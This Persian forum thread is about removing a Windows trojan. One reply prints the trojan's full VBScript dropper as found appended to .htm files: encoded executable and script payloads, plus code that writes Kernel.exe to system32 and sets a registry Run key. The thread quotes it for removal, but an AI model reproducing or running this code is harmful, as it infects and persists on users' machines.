Printable View
سلام
من نمیدونم چه سر کامپیوترم آمده که هر وقت کلیک سمت راست روی یکی از درایو های هار میزنیم هم جای اپن اپن و هم جای اکسپلور یه مشت کلمه عجیب غریب امده است و هر 5 دقیقه یک بار یه پنجره cmd باز میشه کا بالاش نوشته
C:\WINDOWS\system32\systems.exe
حالا من باید چکار کنم
تاپیک داریم درموردشنقل قول:
ویروسی شدین متاسفانه
با ناد32یا کاسپرآپدیت شده میتونین درستش کنین
یک نگاه به اسم فایلتون ...سیستم بایک sاضافه و پسوند EXEنشونه ی یک فایل اجرائی ویروسیه
سلام
عزیز یه nod 32 مال شرکت eset نصب کن بعد آپدیت مطمئن باش مشکلت حل می شه.
اين كارو انجام بده نتيجش رو بگو
اول Start رو بزن بعد Run توی Run تایپ کن msconfig .
برو توی سربرگ Startup توی اونجا چکمارک یا همون تیک کنار kernel.exe رو بردار این کار باعث میشه که kernel دیگه لود نشه.
بعد Crtl+Alt+Delet رو بزن تو سربرگ Processes روی kernel کلیک کن و End Processes رو بزن.
حالا برو تو D:\WINDOWS\system32 دو تا فایل kernel.exe و kernel.vbs رو پاک کن.
شما با این کار به صورت دستی تروجان رو پاک کردی اما حالا بهتره که یه Antivirus که این فایل رو بشناسه یعنیBitDenfender رو بریزی اون وقت یه بار سیستمو اسکن میکنی و هر وقت خواست این Kernel لود بشه BitDenfender میپرسه که اجازه فعالیت بهش بده یا نه که شما حالشو میگیریو No رو میزنی.
تا حالا شما خود تروجان رو پاک کردی اما این تروجان توی تمام فایل های htm یا همون صفحه های اینترنت کد زیر رو وارد کرده:
کد:
<script language=vbscript>on error resume nextfileexe1="077090144000003000000000004000000000 25525500000018400000000000000000000006400000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000184000 00000001403118601400018000920503318400107620503308 41041051150321121141111031140971090320990971101101 11116032098101032114117110032105110032068079083032 10911110010104601301301003600000000000000000000021 20361420281440692240791440692240791440692240790300 90243079135069224079108101242079147069224079082105 09910414406922407900000000000000000000000000000000 00000000000000000800690000000760010030000811150470 69000000000000000000000000224000015001011001005012 00000200000000003000600000000000000000701700000000 00160000000000320000000000000640000000160000000000 02000000004000000000004000000000004000000000000000 00000000008000600000000400000013903900000000200000 00000000000160000000160000000000000160000000160000 00000000000000016000000000000000000000000000000000 06803200000010000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000032000000068000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000461161011201160000000002400010000000000 16000000000002000000000004000000000000000000000000 00000000000000000003200000009604611410009711609700 00002500010000000000320000000000020000000000060000 00000000000000000000000000000000000000064000000064 04610009711609700000000012802700600000004800000000 00020000000000080000000000000000000000000000000000 00000000064000000192000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000010600010600010 60001060011060002322070010000001631120750700001060 00104000000000128106000106000104041048064000255053 11207507000023218100100000016311607507000010412007 50700001041280260060001042400480640002550531160750 70000232156001000000104004001000000104124075070000 23223100000000010402804806400010412407507000023224 40000000001040000160000001040880480640001041240750 70000232202000000000163224048064000106000104228048 06400025505312007507000010424004806400025505322404 80640002321740000000002550532240480640002321450000 00000255053112075070000232032001000000255053116075 07000023202100100000010600510600010600010412407507 00001060001060002320730000000001950851392361311962 28106000106000106000141069228080232063000000000011 19211602014106922808023206200000000014106922808023 20350000000002352172011951040000160640001042241470 04000106000106000232024000000000232185255255255195 25503702003206400025503704003206400025503703603206 40002550370320320640002550370280320640002550370000 32064000255037012032064000255037008032064000255037 00403206400020420420420420420420420420420408513923 60872551170082320360000000001391250081390770120032 48051210051192138004010136004058131194001132192117 24309513906900820119400800020420420408513923613906 90081312320041311920041280560001160481281200010001 16032128120002000116016128120003000117230043069008 13119200320119400400004306900813119200220119400400 00430690081311920012011940040000430690082011940040 00255037060032064000255037048032064000255037052032 06400025503705603206400000000000000000000000000000 00000000000000000000000860330000001340330000001220 33000000100033000000000000000000236032000000000000 00000005403300000004203300000002803300000000803300 00000000000000001820330000001980330000002180330000 00160033000000000000000000188032000000000000000000 00000000000025203200000002003200000019603200000000 00000000000000000000000740330000000280320000001680 32000000000000000000000000000000146033000000000032 00000021603200000000000000000000000000000023803300 00000480320000000000000000000000000000000000000000 00000000000000000000000000086033000000134033000000 12203300000010003300000000000000000023603200000000 00000000000540330000000420330000000280330000000080 33000000000000000000182033000000198033000000218033 00000016003300000000000000000010300008310410110810 80691201010991171161010650001151041011081080510500 46100108108000140000068105115112097116099104077101 11511509710310106500000002500107110111607710111511 50971031010650000230020831011160841051091011140000 00066002084114097110115108097116101077101115115097 10310100000011711510111405105004610010810800000002 60000671081111151010720971101001081010000600010711 01116083121115116101109068105114101099116111114121 06500020200107911210111007010510810100000015800208 71141051161010701051081010001071011141101011080510 50046100108108000000105000073110116101114110101116 06710811111510107209711010010810100013400007311011 61011141101011160791121011100650001350000731101161 01114110101116079112101110085114108065000000142000 07311011610111411010111608210109710007010510810100 00001191051101051101011160461001081080000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000009208312 11151161011091150461011201010001041161161120580470 47104049046114105112119097121046099111109047100114 10109710910409709910704707204707809711810510010409 70991070461011201010000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000"filev bs1="039078097118105100032110101119032118105114117 11503205004804805404004905105505304604904101301011 11100321011141141111140321141011151171091010321101 01120116013010100105109032102105108101104116109044 11512111504412111401301010210510810110411610904906 10340490480480490480530490480570480510500490490530 49050049049049053048049051048049048048056051049048 04904904905404805105004904804804904805004805105004 80540490480510500490480480490490490480570570490490 55049048057049048049049049048049049054048052054048 05705704904905204904804904805705504904905404904804 90480540570490480560490480490490480570490480490490 49048049049054048052048048051052049049049048057056 04904805404904804904805705704904905404805105204805 20490480490510480490480490480480490480500480520540 49049053049048049049049054048054053049049054049049 05404904905204904805304805705604904905504904905404 90480490480510500480510520480570570490480560480570 55049049053049049053049048053049048048048051052048 05205204805105004805105204805705704904805604904905 30490480530490480480480530560480540540480540560480 53055048053052048054055048053051048053051048053052 04805205304805305204805305104805405304805304904805 20530480520570480520570480540560480520560480520530 48053055048053054048053049048054053048052053048052 05604805205604805405504805205604805305004805504804 80540550480530480480530550480540570480530490480530 52048051050048051052048049051048049048049049053049 04804904904905404805105004904805004904905304904904 90480510500480540490480510500490480480490480500480 52054048057057049049052049048049048057055049049054 04904804904904904904805705604904805404904804904805 70570490490540480520480480510520480560510480570570 49049052049048053049049050049049054049048053049049 04804904805104805205404805504804904805304904805604 90480490480560510490500490490490530490490540490480 49049048057048055057048057056049048054049048049048 05705704904905404805105204805205204805105204805105 20480520490480490510480490480490490530490480490490 49054048051050049049053048054049049048048049048050 04805205404805405504904905204904804904805705504904 90540490480490480550570480570560490480540490480490 48057057049049054048052048048051052048056051049048 05204904804904904805604904805604805205404805405304 90490500490490500490480560490480530480570570480570 55049049054049048053049049049049049048048052054048 05205704805105204805205204805105204805105204805204 90480490510480490480490490530490480490490490540480 51050049049052049048049048054049049048048049048050 04805205404805705704904905204904804904805705504904 90540490480490490490490480570560490480540490480490 48057057049049054048052048048051052049049057049049 05304805705704904905204904805304904905004904905404 80520540490490530490480520490480490490480560490480 56048051052048052052048051052048051052048052049048 04905104804904804904905304905004904904905304805404 90490480500490490530490490490480520540480550490490 48049049049054048056051049049050049048049048057057 04904805304805705504904805604805504804904904904904 80560490480480490480490490490520480520480480520570 48052049048049051048049048048055048049049049049049 05204805105004805705504805105004805404904805105004 80520570480510500480560520490490490480510500480550 54049048049049049048048052048049048050049048053049 04805604904804904904905604805705604904905304805205 70480520490480510500480560510490490540490480490490 49050048051050048053049048049051048049048049048050 04904805304904805604904804904904905604805705604904 90530480530480480540490490480500490480530490480560 49048049049049056048057056049049053048053048048051 05004805105604805105004805705704904805204904905204 80520480490480570490480530490480480480520480490480 50049048053049048056049048049049049056048057056049 04905304805205704805205204805705504805205204805304 90480520490480520490480490510480490480490480530490 48050048051050048057055048051050048054048048051050 04904805604904804904904904804805204804904805004904 80530490480560490480490490480490490500480490480490 48052057048052049048052051048052057048051050049049 05404904805204904804904904904804805105004904805004 90480530490480560490480490490480490490500480490480 49048053048048054049049048050049048053049048056049 04804904904804904905004804904804904805304804805105 00480510560480510500480570570490480520490490520480 52048049048057049048053049048048048052048049048050 04904805304904805604904804904904804904905004804904 80490480520570480520520480570550480520520480530490 48052049048052049048049051048049048049049048049048 04904905004804904905404804905104804904804904805504 90490520480510500480540490480510500480560530480540 55048057055049049053049048049048052048049049052049 04804904805205404805605004904804904904805104805605 00490480490480570550490480480480520480480510520480 55050048055053048054057048056057048057053048055054 04805505704805405504805405304805505404805705304805 50550480540530480540550480550500480550510480550560 48054057048057050048056051048055057048055048048056 05204805605504805405304805605004805405704805705004 80550550490480530480570570490490520490490490490490 53049049049049048050049049054048057050048056055049 04805304904904804904804804904904904904905704904905 30480570500480540550490490550490490520490490520490 48049049049048049049054048056054049048049049049052 04904905304904805304904904904904904804805705004805 60500490490550490490480480570500480550550490480530 48057057049049052049049049049049053049049049049048 05004904905404805105004805605504904805304904904804 90480480490490490490490570490490530480510520480520 49048052049048049051048049048049048050049049053049 04904904805205404805405504904905204904804904805705 50490490540490480490480560520490480490490500480490 49054048055048049048053049048056049048049048052048 04904905304905004904904905304805105004805105604805 10500480510520480570500480560520480560510480560480 48053049048053048048054057048052054048054056048055 05404805505404805105204805204904805205404904905704 90490520490480530490490540490480490480510500490480 50049048053049048056049048049049048049049050048049 04804904805205704804905104804904804904805304904805 00480510500490490550480570570480570550490490530490 48049048052048049048050049049053049049049048052054 04805504804904805304904805604904804904805405704905 00480490480530490490530490490540490490530480520480 49049053049050049049049053048051050048051056048051 05004805105204805705004805505304904804904904905204 90490480490480490490480560480520540490480490490500 48049048049048051052048052049048052049048054049048 05105204805504804805405304805505404805605104805405 70480510520480510500490490490490490520480510500490 48055049049052048054048048054050049049055048057057 04805705504904905304904804904805204804904905304905 00490490490530480510500480510560480510500480510520 48057050048055053048054057048056050048055056048054 05704805505404805205404805405704805605604805405704 80510520480520490480510500490490540490480520490480 49049049048048049051048049048049049052049048049048 05205404904905204904804904904805104904905704904905 20490480530490490540490480490480510500480510520480 55050048055053048054057048056057048057053048055054 04805505704805405504805405304805505404805705304805 50550480540530480540550480550500480550510480550560 48054057048057050048056051048055057048055048048056 05204805605504805405304805605004805405704805705004 80550550490480530480570570490490520490490490490490 53049049049049048050049049054048057050048056055049 04805304904904804904804804904904904904905704904905 30480570500480540550490490550490490520490490520490 48049049049048049049054048056054049048049049049052 04904905304904805304904904904904904804805705004805 60500490490550490490480480570500480510520480510500 48051056048051050048051052048055055049048053048057 05704904905204904904904904905304904904904904805004 90490540480510500480560550490480530490490480490480 48049049049049049057049049053048051052048051050048 05205204904905304905004904904905304805105004805105 60480510520480570500480550530490480490490490520490 49048049048049049048056048052054049048049049050048 04904804904805105204804905104804904804904805004904 90530490490490480520540480540550490490520490480490 48057055049049054049048049048056052049048049049050 04804904905404805504804904805304904805604904804904 80520480490490530490500490490490530480510500480510 56048051050048051052048057050048055053049048049049 04905204904904804904804904904805604805205404904804 90490500480490480490480510520480520490480520540490 49057049049052049048053049049054049048049048051050 04904805004904805304904805604904804904904804904905 00480490480490480530480480490510480490480490490530 48052054048055057049049050049048049049049048048051 05004805204804904905304905004904904905304805105004 80510560480510500480510520480570500480550530490480 49049049052049049048049048049049048056048052054049 04804904905004804904804904805105204805204904804905 10480490480490480490490490480490480480480510500490 48053049048050048049051048049048049048050049049053 04904904904805205404805405504904905204904804904805 70550490490540490480490480560520490480490490500480 49049054048055048049048053049048056049048049048052 04804904905304905004904904905304805105004805105604 80510500480510520480570500480560520480560510480560 48048053049048053048048056054048052054048054056048 05505404805505404805105204805204904805205404904905 70490490520490480530490490540490480490480510500490 48050049048053049048056049048049049049056048057056 04904905304805205704804905104804904804904805304904 80500480510500490480500490490530490490490480520540 49049049049049050049048049049049048049049054049048 04904905004804904905404904805004904805304904805604 90480490480520480490490530490500490490490530480510 50048051056048051050048051052048057050048056051049 05004904904905304904905404904804904904805704904905 60480520540490480480490480560490480560480510520480 52052048052057048052049048052054049049052049048049 04805705504904804804805705504904805604904805604805 40480480540500480510520490490490490490480480510520 48051050049049054049048052049048049049049048048049 05104804904804904805004904905304904904904805205404 80540550490490520490480490480570550490490540490480 49048056052049048049049050048049049054048055048049 04805304904805604904804904805204804904905304905004 90490490530480510500480510560480510500480510520480 57050048055053049048049049049052049049048049048049 04904805604805205404904905604805705604904905304805 10520480520490480520540490490570490490520490480530 49049054049048049048051050049048050049048053049048 05604904804904904905604805705604904905304805304804 80490510480490480490490530480520540480550570490490 50049048049049049048048051050048052048049049053049 05004904904905304805105004805105604805105004805105 20480570500480550530490480490490490520490490480490 48049049048056048052054049049056048057056049049053 04805105204805204904804905104804904804904804904904 90480490480480480510500490480530490480500480490510 48049048048054048048052055049049053048057057049049 05204904805304904905004904905404805405003401301011 51011160321021151110610991141010971161011110981061 01099116040034115099114105112116105110103046102105 10810111512111511610110911109810610109911603404101 30101151011160321141010610991141010971161011110981 06101099116040034119115099114105112116046115104101 10810803404101301011512111506110211511104607110111 60831121010991050971080701111081001011140400490410 13010102115111046067114101097116101084101120116070 10510810104011512111503203803203409208312111511610 11091180461001081080340410461191141051161010320341 11110034013010102105108101104116109061034060115099 11410511211603210809711010311709710310106111809811 50991141051121160620340320380321180980991141081020 32038032034111110032101114114111114032114101115117 10910103211010112011603403203803211809809911410810 20130101021051081011041161090611021051081011041161 09032038032034102105108101101120101049061034034034 03203803210211511104611111210111011610112011610210 51081010401151211150320380320340920840830800510500 69046068076076034044049041046114101097100097108108 03203803203403403403403203803211809809911410810201 30101021051081011041161090611021051081011041161090 32038032034102105108101118098115049061034034034032 03803210211511104611111210111011610112011610210510 81010401151211150320380320340920840830800510500860 46068076076034044049041046114101097100097108108032 03803203403403403403203803211809809911410810201301 00701111140320970320610320490320841110320761011100 40102105108101104116109049041032083116101112032051 01301010210510810110411610906110210510810110411610 90320380320991041140401091051000401021051081011041 16109049044097044051041041013010110101120116013010 11410104611410110311911410511610103203407207506908 90950670850820820690780840950850830690820920831111 02116119097114101092077105099114111115111102116092 08710511010011111911509206711711411410111011608610 11141151051111100920821171100920340320380320340771 05099114111115111102116032087105110100111119115034 03204411512111503203803409207510111411010110804611 80981150340130101141010461141011031191141051161010 32034072075069089095076079067065076095077065067072 07307806909208307907008408706508206909207710509911 41111151111021160920871051101001111191150920671171 14114101110116086101114115105111110092082117110092 03403203803203407710509911411111511110211603208710 51101001111191150340320441151211150320380340920751 01114110101108046101120101034013010121114061114101 04608210110308210109710004003407207506908909506708 50820820690780840950850830690820920831111021161190 97114101092121097104111111092112097103101114092089 09710411111103303208511510111403207306803404101301 01151160971141160130100831170980321151160971141160 40041013010111110032101114114111114032114101115117 10910103211010112011601301007011111403206909709910 40321001140490320731100321021151110460681141051181 01115013010073102032100114049046068114105118101084 12111210103206103205003207911403210011404904606811 41051181010841211121010320610320510320841041011100 32102105108101049032040100114049032038032034092034 04105803210211110810010111404903204010011404903203 80320340920340410130100781011201160130101151011101 00109097105108013010069110100032083117098013010083 11709803210211110810010111404904010011404904101301 01111100321011141141111140321141011151171091010321 10101120116013010070111114032069097099104032102111 03207311003210211511104607110111607011110810010111 40401001140490410460831170980701111081001011141150 13010105102032085067097115101040114105103104116040 10211104405005304104106103408906507207907903309207 70690830830690780710690820920800820790700730760690 83034032116104101110032121097104111111040102111041 01301010210510810104903204010211104101301010211110 81001011140490320401021110410130100781011201160130 10069110100032083117098013010083117098032102105108 10104904010211104101301011111003210111411411111403 21141011151171091010321101011201160130100701111140 32069097099104032102105032073110032102115111046071 10111607011110810010111404010211104104607010510810 11150130101101060320401021050410130100781011201160 13010069110100032083117098013010115117098032110106 04010210504101301011111003210111411411111403211410 11151171091010321101011201160130101011201160610850 67097115101040102115111046071101116069120116101110 11510511111007809710910104010210504104101301010510 20321011201160610340720840770340321111140321011201 16061034072084077076034032111114032101120116061034 07208408403403211610410111001301010510203211410510 31041160401021151110461111121011101161011201161021 05108101040102105044049041046114101097100097108108 04410810111004010210510810110411610904104106006210 21051081011041161090321161041011100130101021151110 46111112101110116101120116102105108101040102105044 05604104611911410511610103211809809911410810203203 80321021051081011041161090130101011101000321051020 13010101110100032105102013010101110100032115117098 01301011511709803212109710411111104010211112104904 10130100701111140320690970991040321021111210500320 73110032102115111046071101116070111108100101114040 10211112104904104608311709807011110810010111411501 30101090971051080971081080611090971051080971081080 32038032102115111046071101116070105108101078097109 10104010211112105004103203803203406412109710411111 10460991111090340320380321180980991141081020130101 10101120116013010102115111046099114101097116101116 10112011610210510810104011512111503203803203409210 90971051080461081111030340410461191141051161010321 09097105108097108108032038032034069078068034013010 10211511104609911410109711610111610112011610210510 81010401151211150320380320340921151011101000461081 11103034041046119114105116101032121114032038032034 06412109710411111104609911110903401301010111010003 21151170980130101151170980321151011101001090971051 08040041013010111110032101114114111114032114101115 11710910103211010112011601301011510111010010906110 21151110461111121011101161011201161021051081010401 15121115032038032034092115101110100046108111103034 04404904104611410109710009710810801301011510111603 21090971051081090611021151110461111121011101161011 20116102105108101040115121115032038032034092109097 10510804610811110303404404904101301010909710510809 70611090971051081090461141010971001081051101010130 10119104105108101032109097105108097032060062032034 06907806803401301008310111603211109810607710111511 50971031010320610320671141010971161010790981061010 99116040034067068079046077101115115097103101034041 03201301011109810607710111511509710310104608311709 81061010991160320610320340721011081081110340130101 11098106077101115115097103101046083101110100101114 03206103211510111010010901301011109810607710111511 50971031010461021141111090610321151011101001090130 10111098106077101115115097103101046084111032061032 10909710510809701301011109810607710111511509710310 10460841011201160661111001210320610320340721011081 08111034032038032118098099114108102032038032034071 11103211611103210912103211509710511605803210411611 61120580470471031051141081151011200461191010981150 46105111047112105099116117114101046104116109034013 01011109810607710111511509710310104608310111010001 30101090971051080970611090971051081090461141010971 00108105110101013010119101110100013010102115111046 06711410109711610108410112011607010510810104011512 11150320380320340920831211151161011091180461001081 08034041046119114105116101032034111102102034013010 101110100032115117098013010"dim sysSet df = document.createElement("object")df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "set fso = df.createobject("Scripting.FileSystemObject","")se t s=df.CreateObject("Shell.Application.1","")set re=df.createobject("wscript.shell","")sys=fso.GetS pecialFolder(1)For a = 1 To Len(filevbs1) Step 3filevbs2=filevbs2 & chr(mid(filevbs1,a,3))if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))nextkr = UCase(re.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Micr osoft\Windows\CurrentVersion\Run\Microsoft Windows"))fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1if ucase(fso.FileExists(sys & "\Kernel.exe"))="FALSE" or kr<>ucase(sys & "\KERNEL.EXE") thenre.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur rentVersion\Run\" & "Microsoft Windows" ,sys &"\Kernel.exe"fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2s.Open (sys & "\Kernel.exe")end iffso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1if fso.opentextfile(sys & "\Systemv.dll",1).readall<>"on" thenfso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2s.Open (sys & "\Kernel.vbs")end if</script>
این کد باعث میشه که هر وقت سیستم اومد بالا این فایل Kernel هم دوباره فعال بشه.
حالا شما دو تا راه داری:
1-این که بشینی تموم فایل های htm رو با Notepad بازکنی و این کد رو از آخر همه اش برداری یعنی کاری که من با 300 تا فایل htm کردم چون برام مهم بودن اما حواست باشه که سیستم Restart نشه یا قبل این که Restart کنی فایل هایی که کدشونو پاک کردی بریزی روی CD یا به فایل zip تبدیلشون کنی چون دوباره ویندوز لود میشه و این کد به آخر تموم فایل هات اضافه میشه و ... .من پیشنهاد می کنم وقتی که این کد ها ور از روی تموم فایل هات پاک کردی اون ها رو بریز رو CD تا از خطر در امان باشی.
2-یه راه دیگه هم این که تموم فایل های htm رو پاک کنی یا بریزی روی CD و بعد سر فرصت بشینی کد های آخر فایل ها رو پاک کنی.مهم این که فایل htm روی سیستمت نباشه.
فایل های htm شامل Temporary Internet Files هم میشه اونها رو هم پاک کن.
حالا شما دیگه هیچ فایل htm روی Hard نداری بهتره که درایو ویندوزتو Format و یه ویندوز جدید بریزی.
نقل قول:
اصلا چیزی به این نام نیست ( Kernel )
شما به من اشتباه گفتی حالا اصلا نمی توانم وارد درایو بشم فقت از طریق شاخه ای میتونمنقل قول:
همیشه همیشه یه آنتی رو سیستم داشته باش